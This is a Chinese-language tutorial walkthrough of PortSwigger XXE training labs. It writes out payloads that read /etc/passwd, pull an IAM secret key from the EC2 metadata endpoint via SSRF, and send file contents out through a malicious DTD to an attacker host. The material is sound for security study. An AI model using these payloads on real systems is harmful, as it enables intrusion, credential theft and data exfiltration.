【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析DNS,个人版 1个月
全局流量管理 GTM,标准版 1个月
简介: 【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)

一、XML外部实体(XXE)注入


1、简述:


1、XML外部实体注入(也称为XXE)是一个Web安全漏洞,使得攻击者能够干扰应用程序对XML数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。


2、在某些情况下,攻击者可以利用XXE漏洞执行攻击,从而升级XXE攻击,危害底层服务器或其他后端基础架构服务器端请求伪造(SSRF)攻击。


2、产生


1、某些应用程序使用XML格式在浏览器和服务器之间传输数据。这样做的应用程序实际上总是使用标准库或平台API来处理服务器上的XML数据。XXE漏洞的出现是因为XML规范包含各种潜在的危险特性,而标准解析器支持这些特性,即使应用程序通常不使用这些特性。


2、XML外部实体是一种自定义XML实体,其定义值从声明它们的DTD外部加载。从安全性的角度来看,外部实体特别重要,因为它们允许基于文件路径或URL的内容定义实体。


3、XXE攻击类型


1、利用XXE检索文件,其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。
2、利用XXE执行SSRF攻击,其中外部实体是基于到后端系统的URL定义的。
3、利用隐蔽XXE会将数据泄露到带外,将敏感数据从应用程序服务器传输到攻击者控制的系统。
4、利用blind XXE通过错误消息检索数据,攻击者可以触发包含敏感数据的解析错误消息。


二、利用XXE检索文件


1、简述:


1、要执行从服务器文件系统检索任意文件的XXE注入攻击,需要以两种方式修改提交的XML:


1、引入(或编辑)DOCTYPE元素,该元素定义包含文件路径的外部实体。
    2、编辑应用程序响应中返回的XML中的数据值,以使用定义的外部实体。


2、对于现实世界中的XXE漏洞,提交的XML中通常会有大量的数据值,其中任何一个都可能在应用程序的响应中使用。要系统地测试XXE漏洞,通常需要单独测试XML中的每个数据节点,方法是使用定义的实体并查看它是否出现在响应中。


3、如购物应用程序通过向服务器提交以下XML来检查产品的库存水平:


<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>


若应用程序对XXE攻击不执行任何特定的防御,因此可以通过提交以下XXE有效负载来利用XXE漏洞检索/etc/passwd文件:


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>


此XXE有效负载定义外部实体&xxe,其值为/etc/passwd文件中的实体并使用产品ID值。这将导致应用程序的响应包含文件的内容:


Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...


4、涉及实验:

实验1:利用XXE使用外部实体检索文件


实验1:利用XXE使用外部实体检索文件


本实验有一个“Check stock”特性,它解析XML输入并在响应中返回任何意外值。


要解决实验:注入一个XML外部实体来检索/etc/passwd文件的内容


part1:


访问一个产品页面,点击"检查库存",并在Burp Suite中拦截由此产生的POST请求,发送到repeater


3091ebf4ff704d698296ecea5b66d951.png


part2:


XXE注入


在XML声明和stockCheck元素之间插入以下外部实体定义:


<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

89c17995b93e4855bb5ed1e16f25ea7a.png

将productId编号替换为对外部实体的引用:


&xxe;

c8f08314b54d461c92aba846b4af4d91.png


响应应包含"Invalid product ID:",后跟/etc/passwd文件的内容


0064efba61db4a9bb7c490d778c147d9.png


d5ee006f638342beb857367491d5ff01.png


三、利用XXE进行SSRF攻击


1、简述:


1、除了检索敏感数据之外,XXE攻击的另一个主要影响是它们可用于执行服务器端请求伪造SSRF。这是一个潜在的严重漏洞,可诱使服务器端应用程序向服务器可以访问的任何URL发出HTTP请求。


2、要利用XXE漏洞执行SSRF攻击,需要使用要攻击的URL定义外部XML实体,并在数据值中使用定义的实体。如果可以在应用程序响应中返回的数据值中使用定义的实体,那么将能够从应用程序响应中的URL查看响应,从而获得与后端系统的双向交互。如果没有,那么将只能进行SSRF的盲攻击


3、XXE示例:外部实体将导致服务器向组织基础架构中的内部系统发出后端HTTP请求:


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>


4、涉及实验:

实验2:利用XXE进行SSRF攻击


实验2:利用XXE进行SSRF攻击


本实验有一个"Check stock"特性,它解析XML输入并在响应中返回任何意外值


实验室服务器在默认URL(www.example.com)上运行(模拟的)EC2元数据端点http://169.254.169.254/。此终结点可用于检索有关实例的数据,其中一些数据可能是敏感的


解决实验:利用XXE漏洞执行SSRF攻击,从EC2元数据端点获取服务器的IAM秘密访问密钥


part1:


访问一个产品页面,点击"检查库存",并在Burp Suite中拦截由此产生的POST请求,并发送到repeater


1f14b19977bb4b5dbd3d24d814eb806b.png


part2:


XXE注入


在XML声明和stockCheck元素之间插入以下外部实体定义:


<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

将 productId 号替换为对外部实体的引用:


&xxe;

响应应包含"Invalid product ID:",后跟来自元数据端点的响应,该响应最初将是文件夹名称

6cfa4ef4999940d38ce70a5c3ea2cf6f.png


part3:


完成实验

迭代更新DTD中的URL以浏览API,直接到达


/latest/meta-data/iam/security-credentials/admin


这应该返回包含SecretAccessKey的JSON


3f1c79f2a48049ef8665b05ea0c136af.png


bb2676b1cfd043cb8d06b24bde0881cf.png


四、盲XXE漏洞


1、简述(查找和利用隐蔽的XXE漏洞):


1、XXE漏洞的许多实例是盲目的。这意味着应用程序不会在其响应中返回任何已定义的外部实体的值,因此不可能直接检索服务器端文件。


2、盲XXE漏洞仍然可以检测和利用,但需要更先进的技术。有时可以使用带外技术来查找漏洞,并利用它们来泄漏数据。有时候,可能会触发XML解析错误,从而导致在错误消息中泄漏敏感数据。


2、XXE盲注


1、Blind XXE漏洞出现在应用程序易受攻击的地方XXE注射液但不在其响应内返回任何定义的外部实体的值。这意味着直接检索服务器端文件是不可能的,因此盲XXE通常比常规XXE漏洞更难被利用。


可以通过两种广泛的方式查找和利用隐蔽的XXE漏洞:
    1、触发带外网络交互,有时会在交互数据中泄漏敏感数据。
    2、通过错误消息包含敏感数据的方式触发XML解析错误。


3、使用带外技术


1、通常可以使用与XXE SSRF攻击相同的技术来检测XXE盲注,但会触发与控制的系统的带外网络交互。


例如,可按如下方式定义外部:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
将在XML中的数据值中使用定义的实体


此XXE攻击使服务器向指定URL发出后端HTTP请求。攻击者可以监视生成的DNS查找和HTTP请求,从而检测到XXE攻击成功。

————


2、涉及实验:

实验3:带外交互的盲XXE


3、一般使用常规实体的XXE攻击会被阻止,因为应用程序进行了一些输入验证,或者使用的XML解析器进行了一些加固。在这种情况下,可以改用XML参数实体。


XML参数实体是一种特殊类型的XML实体,只能在DTD中的其他位置引用


1)XML参数实体的声明在实体名称前包含百分比字符:


<!ENTITY % myparameterentity "my parameter entity value" >


2)使用%百分比字符而不是通常的&号引用参数实体:


%myparameterentity;


3)XML参数实体使用带外检测来测试盲XXE:


<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>


此XXE有效负载声明一个名为xxe然后使用DTD中的实体。这将导致向攻击者的域发出DNS查找和HTTP请求,从而验证攻击是否成功


————


4、涉及实验:

实验4:通过XML参数实体进行带外交互的盲XXE


实验3:带外交互的盲XXE


本实验有一个"Check stock"(检查库存)功能,该功能可以解析XML输入,但不显示结果。


可以通过触发与外部域的带外交互来检测隐蔽XXE漏洞。


解决实验:使用外部实体使XML解析器向Burp Collaborator发出DNS查找和HTTP请求


part1:


访问一个产品页面,点击"检查库存",并使用BP拦截产生的POST请求,并发送到repeater


e1222166dfc64ba5958d5605fcd1e1e5.png


part2:


XXE注入


BP---BC客户端---“Copy to clipboard”负载复制到剪贴板(客户端窗口保持打开状态)


9c95a68cdda04e728e34b8c2bf2ca2f7.png


4rwfonp4gqw9xc6pfy7unaght8zynn.burpcollaborator.net


在XML声明和stockCheck元素之间插入以下外部实体定义


<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
我的是:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://4rwfonp4gqw9xc6pfy7unaght8zynn.burpcollaborator.net"> ]>

将productId编号替换为对外部实体的引用:


&xxe;

908b5371213349d1a71bff6391904551.png



转到Collaborator选项卡,刷新看到一些DNS和HTTP交互,这些交互是应用程序由于负载而启动的

b3f1116c3499455d865f9a2feababc22.png



ab2d55d4df8e40eb97169d1d1039721e.png


实验4:通过XML参数实体进行带外交互的盲XXE


本实验有一个“Check stock”功能,该功能可以解析XML输入,但不会显示任何意外值,并阻止包含常规外部实体的请求


解决实验:使用一个参数实体使XML解析器向Burp Collaborator发出DNS查找和HTTP请求


part1:


访问一个产品页面,点击"检查库存",并使用BP拦截产生的POST请求,并发送到repeater


20e218dc976546a2bfba95f97527d682.png


part2:


XXE注入


BP---BC客户端---“Copy to clipboard”负载复制到剪贴板(客户端窗口保持打开状态)


9c95a68cdda04e728e34b8c2bf2ca2f7.png


6bivukzadf4nrcnuu14gcp6kibo1cq.burpcollaborator.net

在XML声明和stockCheck元素之间插入以下外部实体定义


<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
我的是:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://6bivukzadf4nrcnuu14gcp6kibo1cq.burpcollaborator.net"> %xxe; ]>

2f9032f6a3104d018a4cd872672102a5.png


转到Collaborator选项卡,刷新看到一些DNS和HTTP交互,这些交互是应用程序由于负载而启动的



3391179c73d74f5aaa8312db9cb30a59.png


7fb3ec0c467f4be59facd92822accdd3.png


4、利用盲XXE将数据渗透到带外


1、通过带外技术检测一个隐蔽的XXE漏洞是非常好的,但它实际上并不能证明该漏洞是如何被利用的。攻击者真正想要实现的是泄露敏感数据。这可以通过隐蔽的XXE漏洞实现,但它涉及攻击者在其控制的系统上托管恶意DTD,然后从带内XXE有效负载内调用外部DTD。


一个恶意DTD的示例,该DTD可用于泄漏/etc/passwd文件的内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
此DTD执行以下步骤:
    1、定义名为的XML参数实体file,包含的内容/etc/passwd文件。
    2、定义名为的XML参数实体eval,包含另一个XML参数实体的动态声明,该实体名为exfiltrate。该exfiltrate将通过向攻击者的Web服务器发出包含file URL查询字符串中的实体。
    3、使用eval实体的动态声明,它将导致exfiltrate要执行的实体。
    4、使用exfiltrate实体,以便通过请求指定的URL来计算其值。


2、然后攻击者必须在他们控制的系统上托管恶意DTD,通常是将其加载到自己的Web服务器上。


例如,攻击者可能在以下URL提供恶意DTD:
http://web-attacker.com/malicious.dtd

3、最后攻击者必须向易受攻击的应用程序提交以下XXE有效负载:


<!DOCTYPE foo [<!ENTITY % xxe SYSTEM

"http://web-attacker.com/malicious.dtd"> %xxe;]>

4、这个XXE有效负载声明了一个名为xxe的XML参数实体,然后在DTD中使用该实体。这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释它。然后执行恶意DTD中定义的步骤,并将/etc/passwd文件传输到攻击者的服务器。


5、此技术可能不适用于某些文件内容,包括/etc/passwd文件中包含的换行符。因为一些XML解析器使用API来获取外部实体定义中的URL,该API验证允许出现在URL中的字符。在这种情况下,可以使用FTP协议代替HTTP。有时无法过滤包含换行符的数据,因此可以将目标改为/etc/hostname之类的文件


6、涉及实验:

实验5:利用XXE盲注使用恶意外部DTD泄漏数据


目录
相关文章
|
4天前
|
XML Java 数据格式
Spring5入门到实战------4、IOC容器-Bean管理XML方式、集合的注入(二)
这篇文章是Spring5框架的实战教程,主题是IOC容器中Bean的集合属性注入,通过XML配置方式。文章详细讲解了如何在Spring中注入数组、List、Map和Set类型的集合属性,并提供了相应的XML配置示例和Java类定义。此外,还介绍了如何在集合中注入对象类型值,以及如何使用Spring的util命名空间来实现集合的复用。最后,通过测试代码和结果展示了注入效果。
Spring5入门到实战------4、IOC容器-Bean管理XML方式、集合的注入(二)
|
XML Java 数据格式
Spring 基于 xml 注入 bean 的几种方式
Spring 基于 xml 注入 bean 的几种方式
181 0
|
3月前
|
SQL Java 数据库连接
Java【付诸实践 01】使用org.apache.ibatis.plugin.Interceptor拦截器实现全局mapper.xml参数注入(可用于切换数据库实例schema)源码实例分享
Java【付诸实践 01】使用org.apache.ibatis.plugin.Interceptor拦截器实现全局mapper.xml参数注入(可用于切换数据库实例schema)源码实例分享
75 0
|
3月前
|
XML Java 数据格式
spring通过文件属性注入bean和基于xml的bean的自动装配以及spring-eel表达式的使用加代码合集
spring通过文件属性注入bean和基于xml的bean的自动装配以及spring-eel表达式的使用加代码合集
74 0
|
XML Java 数据格式
案例03 基于xml配置的setter方法注入案例
通过setter方法方式来演示Spring容器在应用中是如何实现依赖注入的,实现StudentService调用StudentDao的saveStudent操作。
67 0
|
XML Java 数据格式
案例02 基于xml配置的构造方法注入案例
通过构造方法方式来演示Spring容器在应用中是如何实现依赖注入的,实现Student输出学生姓名和年龄。
53 0
|
XML 设计模式 Java
Spring——Bean管理-xml方式进行属性注入
目前的问题:只能当前类使用,其他类不能用,接下来就是把集合属性抽取成公共部分让所有实体类都能够引入
|
3天前
|
XML Java 数据格式
Spring5入门到实战------7、IOC容器-Bean管理XML方式(外部属性文件)
这篇文章是Spring5框架的实战教程,主要介绍了如何在Spring的IOC容器中通过XML配置方式使用外部属性文件来管理Bean,特别是数据库连接池的配置。文章详细讲解了创建属性文件、引入属性文件到Spring配置、以及如何使用属性占位符来引用属性文件中的值。
Spring5入门到实战------7、IOC容器-Bean管理XML方式(外部属性文件)
|
2月前
|
XML Java 数据格式
java创建xml文件内容
java创建xml文件内容
25 0
|
2月前
|
XML Java 数据格式
java解析xml文件内容
java解析xml文件内容
34 0